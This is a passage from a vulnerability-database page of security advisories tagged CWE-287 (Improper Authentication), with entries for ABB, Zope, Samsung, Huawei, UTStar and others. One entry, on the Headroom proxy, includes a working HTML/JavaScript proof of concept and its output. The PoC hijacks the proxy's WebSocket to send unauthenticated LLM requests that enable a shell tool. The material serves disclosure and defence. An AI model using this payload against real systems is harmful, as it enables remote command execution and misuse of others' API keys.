Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6826 vulnerabilities reference this CWE, most recent first.

GHSA-H2W7-HFQ4-7XGX

Vulnerability from github – Published: 2022-05-24 17:02 – Updated: 2022-05-24 17:02
VLAI
Details

In all versions of ABB Power Generation Information Manager (PGIM) and Plant Connect, the affected product is vulnerable to authentication bypass, which may allow an attacker to remotely bypass authentication and extract credentials from the affected device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-18250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-26T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "In all versions of ABB Power Generation Information Manager (PGIM) and Plant Connect, the affected product is vulnerable to authentication bypass, which may allow an attacker to remotely bypass authentication and extract credentials from the affected device.",
  "id": "GHSA-h2w7-hfq4-7xgx",
  "modified": "2022-05-24T17:02:13Z",
  "published": "2022-05-24T17:02:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18250"
    },
    {
      "type": "WEB",
      "url": "https://iotsecuritynews.com/abb-power-generation-information-manager-pgim-and-plant-connect"
    },
    {
      "type": "WEB",
      "url": "https://www.us-cert.gov/ics/advisories/icsa-19-318-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H2XH-JVPF-XQ42

Vulnerability from github – Published: 2022-04-30 18:15 – Updated: 2023-09-18 22:28
VLAI
Summary
Zope does not properly perform security registration for legacy names
Details

Zope 2.2.0 through 2.2.4 does not properly perform security registration for legacy names of object constructors such as DTML method objects, which could allow attackers to perform unauthorized activities.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "zope"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "last_affected": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2000-1211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-18T22:28:05Z",
    "nvd_published_at": "2000-12-16T05:00:00Z",
    "severity": "HIGH"
  },
  "details": "Zope 2.2.0 through 2.2.4 does not properly perform security registration for legacy names of object constructors such as DTML method objects, which could allow attackers to perform unauthorized activities.",
  "id": "GHSA-h2xh-jvpf-xq42",
  "modified": "2023-09-18T22:28:05Z",
  "published": "2022-04-30T18:15:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2000-1211"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20010910131909/http://www.linux-mandrake.com/en/security/2000/MDKSA-2000-083.php3"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20021227061438/http://www.iss.net/security_center/static/5824.php"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2000-125.html"
    },
    {
      "type": "WEB",
      "url": "http://www.zope.org/Products/Zope/Hotfix_2000-12-08/security_alert"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Zope does not properly perform security registration for legacy names"
}

GHSA-H3F5-9X6M-388R

Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2022-05-24 17:12
VLAI
Details

An issue was discovered on Samsung mobile devices with Q(10.0) software. The DeX Lockscreen allows attackers to access the quick panel and notifications. The Samsung ID is SVE-2019-16532 (March 2020).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-10833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-24T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered on Samsung mobile devices with Q(10.0) software. The DeX Lockscreen allows attackers to access the quick panel and notifications. The Samsung ID is SVE-2019-16532 (March 2020).",
  "id": "GHSA-h3f5-9x6m-388r",
  "modified": "2022-05-24T17:12:31Z",
  "published": "2022-05-24T17:12:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10833"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H3JH-74F5-29GH

Vulnerability from github – Published: 2023-05-23 03:30 – Updated: 2024-04-04 04:18
VLAI
Details

Improper authentication vulnerability in T&D Corporation and ESPEC MIC CORP. data logger products allows a remote unauthenticated attacker to login to the product as a registered user. Affected products and versions are as follows: T&D Corporation data logger products (TR-71W/72W all firmware versions, RTR-5W all firmware versions, WDR-7 all firmware versions, WDR-3 all firmware versions, and WS-2 all firmware versions), and ESPEC MIC CORP. data logger products (RT-12N/RS-12N all firmware versions, RT-22BN all firmware versions, and TEU-12N all firmware versions).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-23T02:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Improper authentication vulnerability in T\u0026D Corporation and ESPEC MIC CORP. data logger products allows a remote unauthenticated attacker to login to the product as a registered user. Affected products and versions are as follows: T\u0026D Corporation data logger products (TR-71W/72W all firmware versions, RTR-5W all firmware versions, WDR-7 all firmware versions, WDR-3 all firmware versions, and WS-2 all firmware versions), and ESPEC MIC CORP. data logger products (RT-12N/RS-12N all firmware versions, RT-22BN all firmware versions, and TEU-12N all firmware versions).",
  "id": "GHSA-h3jh-74f5-29gh",
  "modified": "2024-04-04T04:18:03Z",
  "published": "2023-05-23T03:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27388"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN14778242"
    },
    {
      "type": "WEB",
      "url": "https://www.monitoring.especmic.co.jp/post/VulnerabilityInRT-12N_RS-12N_RT-22BNandTEU-12N"
    },
    {
      "type": "WEB",
      "url": "https://www.tandd.com/news/detail.html?id=780"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H422-7CWM-P78C

Vulnerability from github – Published: 2026-05-10 03:33 – Updated: 2026-05-11 15:32
VLAI
Details

A vulnerability was identified in Industrial Application Software IAS Canias ERP 8.03. This issue affects the function iasServerRemoteInterface.doAction of the component Java RMI Session Management. Such manipulation leads to improper authentication. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-10T01:16:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in Industrial Application Software IAS Canias ERP 8.03. This issue affects the function iasServerRemoteInterface.doAction of the component Java RMI Session Management. Such manipulation leads to improper authentication. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-h422-7cwm-p78c",
  "modified": "2026-05-11T15:32:09Z",
  "published": "2026-05-10T03:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8216"
    },
    {
      "type": "WEB",
      "url": "https://hawktrace.com/blog/caniaserp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/808244"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/362433"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/362433/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H468-GQ33-F7X6

Vulnerability from github – Published: 2022-05-24 19:21 – Updated: 2022-05-24 19:21
VLAI
Details

Sangoma NetBorder / Vega Session Controller before 2.3.12-80-GA allows remote attackers to execute arbitrary commands via the web interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-17430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-07T08:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Sangoma NetBorder / Vega Session Controller before 2.3.12-80-GA allows remote attackers to execute arbitrary commands via the web interface.",
  "id": "GHSA-h468-gq33-f7x6",
  "modified": "2022-05-24T19:21:20Z",
  "published": "2022-05-24T19:21:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H46F-MMX9-64WG

Vulnerability from github – Published: 2022-05-14 01:52 – Updated: 2022-05-14 01:52
VLAI
Details

Huawei Mate 10 pro smartphones with the versions before BLA-AL00B 8.1.0.326(C00) have an improper authentication vulnerability. App Lock is a function to prevent unauthorized use of apps on smartphones, an attacker could directly change the lock password after a series of operations. Successful exploit could allow the attacker to use the application which is locked.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-7989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-17T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Huawei Mate 10 pro smartphones with the versions before BLA-AL00B 8.1.0.326(C00) have an improper authentication vulnerability. App Lock is a function to prevent unauthorized use of apps on smartphones, an attacker could directly change the lock password after a series of operations. Successful exploit could allow the attacker to use the application which is locked.",
  "id": "GHSA-h46f-mmx9-64wg",
  "modified": "2022-05-14T01:52:31Z",
  "published": "2022-05-14T01:52:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7989"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20181010-01-applock-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H46J-26Q3-RGGF

Vulnerability from github – Published: 2026-10-02 23:09 – Updated: 2026-10-02 23:09
VLAI
Summary
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Details

Summary

The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.

Details

The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:

    @app.websocket("/v1/responses")
    async def openai_responses_ws(websocket: WebSocket):
        await proxy.handle_openai_responses_ws(websocket)

In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:

    async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
        """WebSocket proxy for /v1/responses (Codex gpt-5.4+).

        Newer Codex versions use WebSocket instead of HTTP POST for the
        Responses API.  This handler:
        1. Accepts the client WebSocket
        2. Receives the first message (``response.create`` request)
        3. Opens an upstream WebSocket to OpenAI
        4. Compresses eligible `response.create` text through the Python
           ContentRouter path, then sends the request upstream
        5. Relays all subsequent messages bidirectionally
        """
        ...

        # Accept client connection with the requested subprotocol
        async with stage_timer.measure("accept"):
            if client_subprotocols:
                await websocket.accept(subprotocol=client_subprotocols[0])
            else:
                await websocket.accept()

The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:

        # Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
        # Safety net for clients that don't forward auth headers via WebSocket upgrade.
        if "authorization" not in _lower_headers:
            api_key = os.environ.get("OPENAI_API_KEY")
            if api_key:
                upstream_headers["Authorization"] = f"Bearer {api_key}"
                logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
            else:
                logger.warning(
                    f"[{request_id}] WS: no Authorization header from client and "
                    f"OPENAI_API_KEY not set — upstream will likely reject"
                )

Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.

PoC

  • Run the Headroom proxy server: OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0
  • Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
    <script>
        let headroomHost = '192.168.0.106';
        let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);

        let openAiPayload = {
            type: "response.create",
            model: "gpt-5.4",
            instructions: "The local bash shell environment is on Linux.",
            input: "Run the id command for the logged in user",
            tools: [{type: "shell", environment: {type: "local"}}]
        };

        socket.addEventListener("open", (event) => {
            let openAiPayloadStr = JSON.stringify(openAiPayload);
            console.log(`Sending LLM request: ${openAiPayloadStr}`);
            socket.send(openAiPayloadStr);
        });

        socket.addEventListener("message", (event) => {
            console.log(`Response from server: ${event.data}`);
        });
    </script>
</body>
</html>
  • The PoC uses the shell tool, but any tool/input/instruction prompt can be used.

Output

The console.log() output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:

Sending LLM request: {"type":"response.create","model":"gpt-5.4","instructions":"The local bash shell environment is on Linux.","input":"Run the id command for the logged in user","tools":[{"type":"shell","environment":{"type":"local"}}]}
ws.html:22 Response from server: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0}
ws.html:22 Response from server: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1}
ws.html:22 Response from server: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2}
ws.html:22 Response from server: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":3}

Impact

Allowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "headroom-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.35.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T23:09:15Z",
    "nvd_published_at": "2026-09-11T14:17:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable.\n\n### Details\nThe Headroom server defines a WebSocket handler at `ws://\u003cheadroom_host\u003e:8787/v1/responses` in `headroom/providers/proxy_routes.py`:\n```python\n    @app.websocket(\"/v1/responses\")\n    async def openai_responses_ws(websocket: WebSocket):\n        await proxy.handle_openai_responses_ws(websocket)\n```\nIn the `handle_openai_responses_ws()` method of the `OpenAIHandlerMixin` class, the `Origin` header of the WebSocket client handshake is not checked or verified before calling `websocket.accept()`, which grants any WebSocket client (including malicious clients) access to the server:\n```python\n    async def handle_openai_responses_ws(self, websocket: WebSocket) -\u003e None:\n        \"\"\"WebSocket proxy for /v1/responses (Codex gpt-5.4+).\n\n        Newer Codex versions use WebSocket instead of HTTP POST for the\n        Responses API.  This handler:\n        1. Accepts the client WebSocket\n        2. Receives the first message (``response.create`` request)\n        3. Opens an upstream WebSocket to OpenAI\n        4. Compresses eligible `response.create` text through the Python\n           ContentRouter path, then sends the request upstream\n        5. Relays all subsequent messages bidirectionally\n        \"\"\"\n        ...\n\n        # Accept client connection with the requested subprotocol\n        async with stage_timer.measure(\"accept\"):\n            if client_subprotocols:\n                await websocket.accept(subprotocol=client_subprotocols[0])\n            else:\n                await websocket.accept()\n```\nThe malicious WebSocket client does not need to provide authentication headers or API keys as the `Authorization` header is automatically populated with the OpenAI API key via the `OPENAI_API_KEY` environment variable, if it has been used to store the API key:\n```python\n        # Ensure Authorization header is present \u2014 fall back to OPENAI_API_KEY env var.\n        # Safety net for clients that don\u0027t forward auth headers via WebSocket upgrade.\n        if \"authorization\" not in _lower_headers:\n            api_key = os.environ.get(\"OPENAI_API_KEY\")\n            if api_key:\n                upstream_headers[\"Authorization\"] = f\"Bearer {api_key}\"\n                logger.debug(f\"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env\")\n            else:\n                logger.warning(\n                    f\"[{request_id}] WS: no Authorization header from client and \"\n                    f\"OPENAI_API_KEY not set \u2014 upstream will likely reject\"\n                )\n```\nOnce the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary `instructions`/`input` prompts and tools.\n\n### PoC\n- Run the Headroom proxy server: `OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0`\n- Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\t\u003cscript\u003e\n\t\tlet headroomHost = \u0027192.168.0.106\u0027;\n\t\tlet socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);\n\n\t\tlet openAiPayload = {\n\t\t\ttype: \"response.create\",\n\t\t\tmodel: \"gpt-5.4\",\n\t\t\tinstructions: \"The local bash shell environment is on Linux.\",\n\t\t\tinput: \"Run the id command for the logged in user\",\n\t\t\ttools: [{type: \"shell\", environment: {type: \"local\"}}]\n\t\t};\n\n\t\tsocket.addEventListener(\"open\", (event) =\u003e {\n\t\t\tlet openAiPayloadStr = JSON.stringify(openAiPayload);\n\t\t\tconsole.log(`Sending LLM request: ${openAiPayloadStr}`);\n\t\t  \tsocket.send(openAiPayloadStr);\n\t\t});\n\n\t\tsocket.addEventListener(\"message\", (event) =\u003e {\n\t\t  \tconsole.log(`Response from server: ${event.data}`);\n\t\t});\n\t\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n``` \n- The PoC uses the shell tool, but any tool/input/instruction prompt can be used. \n#### Output\nThe `console.log()` output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:\n```\nSending LLM request: {\"type\":\"response.create\",\"model\":\"gpt-5.4\",\"instructions\":\"The local bash shell environment is on Linux.\",\"input\":\"Run the id command for the logged in user\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}]}\nws.html:22 Response from server: {\"type\":\"response.created\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"in_progress\",\"background\":false,\"completed_at\":null,\"error\":null,\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":0}\nws.html:22 Response from server: {\"type\":\"response.in_progress\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"in_progress\",\"background\":false,\"completed_at\":null,\"error\":null,\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":1}\nws.html:22 Response from server: {\"type\":\"error\",\"error\":{\"type\":\"insufficient_quota\",\"code\":\"insufficient_quota\",\"message\":\"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.\",\"param\":null},\"sequence_number\":2}\nws.html:22 Response from server: {\"type\":\"response.failed\",\"response\":{\"id\":\"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b\",\"object\":\"response\",\"created_at\":1780650263,\"status\":\"failed\",\"background\":false,\"completed_at\":null,\"error\":{\"code\":\"insufficient_quota\",\"message\":\"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.\"},\"frequency_penalty\":0.0,\"incomplete_details\":null,\"instructions\":\"The local bash shell environment is on Linux.\",\"max_output_tokens\":null,\"max_tool_calls\":null,\"model\":\"gpt-5.4-2026-03-05\",\"moderation\":null,\"output\":[],\"parallel_tool_calls\":true,\"presence_penalty\":0.0,\"previous_response_id\":null,\"prompt_cache_key\":null,\"prompt_cache_retention\":\"24h\",\"reasoning\":{\"context\":\"current_turn\",\"effort\":\"none\",\"summary\":null},\"safety_identifier\":null,\"service_tier\":\"auto\",\"store\":true,\"temperature\":1.0,\"text\":{\"format\":{\"type\":\"text\"},\"verbosity\":\"medium\"},\"tool_choice\":\"auto\",\"tools\":[{\"type\":\"shell\",\"environment\":{\"type\":\"local\"}}],\"top_logprobs\":0,\"top_p\":0.98,\"truncation\":\"disabled\",\"usage\":null,\"user\":null,\"metadata\":{}},\"sequence_number\":3}\n```\n\n### Impact\nAllowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.",
  "id": "GHSA-h46j-26q3-rggf",
  "modified": "2026-10-02T23:09:15Z",
  "published": "2026-10-02T23:09:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71416"
    },
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/pull/1481"
    },
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/commit/c632023cc1ec61d15f8f8e86efe3b54d51604a64"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/headroomlabs-ai/headroom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)"
}

GHSA-H497-XCF4-FJVF

Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46
VLAI
Details

Authentication bypass vulnerability in Micro Focus Operations Bridge Manager affects versions 2019.05, 2019.11, 2020.05 and 2020.10. The vulnerability could allow remote attackers to bypass user authentication and get unauthorized access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-08T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Authentication bypass vulnerability in Micro Focus Operations Bridge Manager affects versions 2019.05, 2019.11, 2020.05 and 2020.10. The vulnerability could allow remote attackers to bypass user authentication and get unauthorized access.",
  "id": "GHSA-h497-xcf4-fjvf",
  "modified": "2022-05-24T17:46:53Z",
  "published": "2022-05-24T17:46:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22507"
    },
    {
      "type": "WEB",
      "url": "https://softwaresupport.softwaregrp.com/doc/KM03793283"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H4FP-2JQ4-JM9W

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2025-04-20 03:45
VLAI
Details

An authentication bypass vulnerability on UTStar WA3002G4 ADSL Broadband Modem WA3002G4-0021.01 devices allows attackers to directly access administrative settings and obtain cleartext credentials from HTML source, as demonstrated by info.cgi, upload.cgi, backupsettings.cgi, pppoe.cgi, resetrouter.cgi, and password.cgi.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
